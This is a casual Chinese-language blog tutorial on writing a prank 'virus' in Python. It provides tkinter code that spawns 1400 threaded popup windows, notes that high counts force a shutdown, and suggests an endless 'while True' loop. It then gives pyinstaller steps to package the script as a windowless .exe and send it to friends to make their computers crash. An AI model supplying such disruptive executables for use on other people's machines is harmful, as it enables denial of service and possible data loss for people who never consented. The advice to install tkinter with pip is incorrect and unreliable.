目录
(。・∀・)ノ゙嗨大家好
我们通常在看电视剧时会看见一些非常牛逼的骇客,非常容易的黑入人家电脑,并悄无声息的植入病毒,在你不知道的情况下窃取你的隐私;也有一些骇客一把病毒放入你的电脑,然后就立马攻击你的电脑。我们可以羡慕他们的技术,但我们不能做一名挑战网络安全,扰乱网络秩序的人,但——不能霍霍别人电脑,不代表不可以霍霍自己电脑啊(。・∀・)ノ゙。我们可以做一个病毒在自己电脑上玩玩啊
病毒制作
这个病毒你们猜主要依赖那个库啊,猜对了,这个病毒主要用tkinter这个库,
要是python中没这个库直接pip install tkinter即可,
运行截图:
代码
import tkinter as tk
import random
import threading
import time
color = ['Red', '#356F9F']
color1 = random.choices(color)
def dow():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哈你干嘛啊啊啊啊啊') # 弹窗的名字,都可以修改的
window.geometry("200x200" + "+" + str(a) + "+" + str(b)) # 弹窗大小,不建议修改
tk.Label(window,
text='嗨,我是亿个病毒', # 标签的文字,随便改
bg=color1, # 背景颜色
font=('楷体', 17), # 字体和字体大小
width=15, height=10 # 标签长宽
).pack() # 固定窗口位置
window.mainloop()
threads = []
for i in range(1400): # 需要的弹框数量,别太多了,电脑不好的话怕你死机
t = threading.Thread(target=dow)
threads.append(t)
time.sleep(0.0000000000000000000001)
threads[i].start()
别把第29行代码""for i in range()''''中''''range()''''括号里的数调的太大,你给里面写的是几,弹窗就出现几个,最好不要破1000,要不然运行完以后windows会出现一个进度条然后就——直接强制关机;想要追求刺激的直接把”for i in range():“改成”while True:“然后电脑直接——
图片来自:迅维网
打包
自己玩肯定不过瘾,发给好朋友可以让好朋友也试试电脑蓝屏的滋味,但总不可能让你朋友安装python在安装这库那库吧,所以我们可以pip install pyinstaller 安装pyinstaller把*.py文件变成*.exe文件,安装好后首先win+r输入cmd打开cmd,然后输入cd #你这个病毒.py文件的项目路径,比如我的路径就是:cd C:\Users\VAS6150E\PycharmProjects\pythonProject9,然后输入pyinstaller -F -w #你放置病毒源代码的.py文件的绝对路径,比如我就是 pyinstaller -F -w C:\Users\VAS6150E\PycharmProjects\pythonProject9\tkinter\病毒.py,然后按Enter等上1分钟,再打开你放病毒文件所在的项目,会有个dist文件夹,打开它一般情况下就会有个*.exe应用,那个就是打包好的病毒啦,你就可以发给你的好朋友了哈哈哈;当然这样很麻烦甚至还会报错,你可以直接打开Pycharm中的终端输入pyinstaller -F -w打包文件的。拜拜ヾ(•ω•`)o,看完顺手点个赞吧。